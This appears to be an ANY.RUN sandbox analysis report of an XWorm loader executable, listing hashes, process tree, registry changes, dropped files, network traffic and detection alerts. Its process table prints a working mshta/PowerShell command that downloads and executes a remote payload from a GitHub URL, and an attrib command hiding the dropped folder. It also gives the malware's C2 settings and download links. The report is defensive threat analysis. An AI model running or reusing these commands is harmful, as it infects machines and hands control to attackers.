File name: | loader.exe |
Full analysis: | https://app.any.run/tasks/02ba3989-931c-4213-a9cb-7494145a0fe0 |
Verdict: | Malicious activity |
Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
Analysis date: | December 14, 2024, 09:21:22 |
OS: | Windows 10 Professional (build: 19045, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.microsoft.portable-executable |
File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
MD5: | 0A3CAA24FAAC73876ACBDCA11B6CDA57 |
SHA1: | FA619ABF5C6F84598B500152A19D64EE4FBCD6D4 |
SHA256: | C301D8C10990B7AC7804C3ED68F9E52682722507E950E6BC83B2796F5170449A |
SSDEEP: | 6144:q7ZpPCYXxQhzP92Yy5ax8ZZCHd4OBCUQlP:q7Zp68Yzl2rGP9MlP |
.exe | | | Generic CIL Executable (.NET, Mono, etc.) (56.7) |
---|---|---|
.exe | | | Win64 Executable (generic) (21.3) |
.scr | | | Windows screen saver (10.1) |
.dll | | | Win32 Dynamic Link Library (generic) (5) |
.exe | | | Win32 Executable (generic) (3.4) |
AssemblyVersion: | 1.0.0.0 |
---|---|
ProductVersion: | 1.0.0.0 |
OriginalFileName: | loader.exe |
LegalCopyright: | |
InternalName: | loader.exe |
FileVersion: | 1.0.0.0 |
FileDescription: | |
CharacterSet: | Unicode |
LanguageCode: | Neutral |
FileSubtype: | - |
ObjectFileType: | Executable application |
FileOS: | Win32 |
FileFlags: | (none) |
FileFlagsMask: | 0x003f |
ProductVersionNumber: | 1.0.0.0 |
FileVersionNumber: | 1.0.0.0 |
Subsystem: | Windows GUI |
SubsystemVersion: | 4 |
ImageVersion: | - |
OSVersion: | 4 |
EntryPoint: | 0x45722 |
UninitializedDataSize: | - |
InitializedDataSize: | 2048 |
CodeSize: | 276480 |
LinkerVersion: | 8 |
PEType: | PE32 |
ImageFileCharacteristics: | Executable |
TimeStamp: | 2024:12:14 08:54:39+00:00 |
MachineType: | Intel 386 or later, and compatibles |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
4996 | "C:\Users\admin\Desktop\loader.exe" | C:\Users\admin\Desktop\loader.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Exit code: 0 Version: 1.0.0.0 Modules
| |||||||||||||||
4444 | "C:\ProgramData\$77loader.exe" | C:\ProgramData\$77loader.exe | svchost.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Version: 1.0.0.0 Modules
XWorm(PID) Process(4444) $77loader.exe C2https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Ip:<1723> Keys AES<Xwormmm> Options Splitter3 Sleep timeXWorm V5.3 USB drop nameUsb.exe MutexWDL54KcDl1HqgxLy | |||||||||||||||
556 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\c.cmd" " | C:\Windows\System32\cmd.exe | — | $77loader.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6088 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
5464 | mshta vbscript:createobject("wscript.shell").run("powershell iwr('https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/payload')|iex",0)(window.close) | C:\Windows\System32\mshta.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
3172 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr('https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/payload')|iex | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | mshta.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
2548 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
5892 | "C:\WINDOWS\system32\attrib.exe" +h +s C:\ProgramData\$77Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D} | C:\Windows\System32\attrib.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Attribute Utility Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
1668 | "C:\ProgramData\$77Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\skibidi.exe" | C:\ProgramData\$77Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\skibidi.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
556 | "C:\ProgramData\$77Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\skibidi.exe" | C:\ProgramData\$77Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\skibidi.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
|
(PID) Process: | (5464) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
Operation: | write | Name: | CachePrefix |
Value: | |||
(PID) Process: | (5464) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
(PID) Process: | (5464) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
(PID) Process: | (4444) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
(PID) Process: | (4444) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
(PID) Process: | (4444) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
(PID) Process: | (4444) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
Operation: | write | Name: | FileTracingMask |
Value: | |||
(PID) Process: | (4444) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
(PID) Process: | (4444) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
(PID) Process: | (4444) $77loader.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\$77loader_RASAPI32 |
Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing |
PID | Process | Filename | Type | |
---|---|---|---|---|
3808 | powershell.exe | C:\Windows\Temp\__PSScriptPolicyTest_ceb40nao.hvj.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3808 | powershell.exe | C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:CFBBFED8A5647BA457DD1115F529084B | SHA256:ED48AA62426EFAFB55329EEDEBAF36AAFC4DCD78B4AF94FCB873835D6D93A8B1 | |||
3808 | powershell.exe | C:\Windows\Temp\__PSScriptPolicyTest_glzb4aes.53r.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3172 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_5zw1ynok.t1z.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3172 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kfdvz24l.a4t.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
3172 | powershell.exe | C:\ProgramData\$77Loader..{21EC2020-3AEA-1069-A2DD-08002B30309D}\skibidi.exe | executable | |
MD5:A11F28D78A308270DEFB227A3927C5B5 | SHA256:2C48AD9CA24D85EB94B5EBF78FCEBE9CF36F373AD0DADFC3228BE333184C8DFD | |||
4444 | $77loader.exe | C:\Users\admin\AppData\Local\Temp\c.cmd | text | |
MD5:527AB64BE48A2EEB866CC39ADF8D7881 | SHA256:1A6AB31585C11C81A56F1202733AE149EF0DAFE9AED12FD915D0323C8C49D2C6 | |||
4996 | loader.exe | C:\ProgramData\$77loader.exe | executable | |
MD5:0A3CAA24FAAC73876ACBDCA11B6CDA57 | SHA256:C301D8C10990B7AC7804C3ED68F9E52682722507E950E6BC83B2796F5170449A | |||
3172 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache | binary | |
MD5:33DE27C8DCC88FC3DB33B429DB60C7D5 | SHA256:708AE655B44F33D7DCD06BC681E15BD4D8E9C37226D62D38FF8F51FF0EB714E3 | |||
3172 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:3DA3928504E4700E10125826FBD71D9E | SHA256:2289D0D93C2D1101E0ABAC2969C35D0B6FF1C06F10BDF6C729F263A47123BFC4 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
716 | svchost.exe | GET | 200 | 23.48.23.143:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 302 | 104.21.64.1:443 | https://anonsharing.com/194e218797374600/Install.exe?download_token=b6b3a4a745f25b55991fca3ba3961a2649d56421b8d02347c4c611e9bbc845b5 | unknown | html | 2.08 Kb | — |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/43a1723/test22/refs/heads/main/payload | unknown | text | 1.08 Kb | — |
— | — | GET | 200 | 75.2.60.5:443 | https://s3.ca-central-1.wasabisys.com/anonsharing/dd/dd9433c2464cd566c5237a2ff4c9595f?response-content-disposition=filename%3DInstall.exe&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=HSRJ9W5CR8WH0842044I%2F20241214%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241214T092153Z&X-Amz-SignedHeaders=host&X-Amz-Expires=10800&X-Amz-Signature=c4ca52e105d4329377a3e28ee139b0f402b05e9e86366a3c8bcbd9a1bf93a36f | unknown | executable | 161 Kb | whitelisted |
— | — | GET | 302 | 104.21.80.1:443 | https://anonsharing.com/file/194e218797374600/Install.exe | unknown | html | 774 b | — |
— | — | GET | 200 | 140.82.121.3:443 | https://raw.githubusercontent.com/43a1723/test/refs/heads/main/Ip | unknown | text | 21 b | — |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
716 | svchost.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4712 | MoUsoCoreWorker.exe | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 20.73.194.208:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
— | — | 104.126.37.154:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
— | — | 192.168.100.255:138 | — | — | — | whitelisted |
716 | svchost.exe | 23.48.23.143:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
716 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
716 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
Domain | IP | Reputation |
---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
www.bing.com |
| whitelisted |
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
raw.githubusercontent.com |
| shared |
anonsharing.com |
| unknown |
s3.ca-central-1.wasabisys.com |
| whitelisted |
self.events.data.microsoft.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Not Suspicious Traffic | INFO [ANY.RUN] Attempting to access raw user content on GitHub |
— | — | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] Xworm TCP Packet |
— | — | Misc activity | ET INFO Commonly Abused File Sharing Domain (wasabisys .com) in DNS Lookup |
— | — | Misc activity | ET INFO Commonly Abused File Sharing Domain (wasabisys .com) in TLS SNI |